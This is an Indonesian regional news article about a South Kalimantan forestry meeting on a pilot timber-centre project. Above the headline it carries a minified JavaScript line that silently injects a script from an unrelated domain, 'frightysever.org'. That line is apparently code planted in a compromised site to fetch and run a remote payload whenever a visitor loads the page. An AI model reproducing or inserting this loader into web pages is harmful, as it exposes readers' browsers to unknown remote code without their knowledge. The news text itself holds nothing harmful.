(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dishut Kawal Perkembangan Rencana Pembangunan Pilot Project Sentra Kayu Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalsel bersama pemegang Perizinan Berusaha Pengolahan Hasil Hutan (PBPHH) mengadakan rapat pembahasan perkembangan rencana pembangunan pilot project sentra kayu Provinsi Kalimantan Selatan, Senin (8/8/2022).

Rapat dipimpin oleh Kabid Perencanaan Dan Pemanfaatan Hutan (PPH) Warsita Jinawi, dan dihadiri perwakilan PBPHH PT. Sumalindo Lestari Jaya Tbk, PT. Prima Multi Buana, PT. Basirih Industrial Corp, PT. Inhutani 3, Esselon 3 dan 4 bidang PPH dan PMPPS Dishut Kalsel, Kepala KPH Kayu Tangi, dan Kepala KPH Tanah Laut. Rapat tersebut bertujuan untuk membahas perkembangan rencana pembangunan pilot project sentra kayu Provinsi Kalimantan Selatan yang berada di wilayah kerja KPH Kayu Tangi dan KPH Tanah Laut.

“Dalam rangka upaya membangun sinergitas revolusi hijau melalui Kerjasama dalam pembangunan pilot Project Sentra Kayu Provinsi Kalimantan Selatan dalam rapat ini kita akan berdiskusi serta menyampaikan perkembangan, progres serta kendala apa saja terkait Pembangunan Pilot Project Sentra Kayu Provinsi Kalimantan Selatan,” ujar Warsita.

Warsita dalam kesempatannya juga memaparkan mengenai progres terkini terkait Perkembangan Rencana Pembangunan Pilot Project Sentra Kayu Provinsi Kalimantan Selatan. Diketahui bahwa pihak manajemen PT Orimba Global Lestari (PT SumalindoTBK) mengenai kerjasama usulan sentra kayu, saat ini hasil keputusan direksi pada tahap awal akan fokus mengenai kerjasama di areal Inhutani 3 Pelaihari.

Baca juga : Yuk Ikutan Temu Novelis Eva Liana di Palnam

“Jika nanti hasil diskusi dengan pihak direksi Inhutani 3 Pelaihari terdapat alternatif lain maka akan segera diinformasikan lebih lanjut, serta akan dikoordinasikan bersama PT Basirih Industrial Corp,” ucap Warsita.

Diharapkan dengan dilaksanakannya rapat ini pasokan bahan baku kayu bulat di Kalimantan Selatan dapat terpenuhi secara berkelanjutan, serta terlaksananya harmonisasi pembangunan kehutanan yang menyeluruh terintegrasi ,efisien dan sinergi dalam mencapai tujuan pembangunan kehutanan di Kalimantan Selatan.(Kanalkalimantan.com/al)

Reporter : al
Editor : kk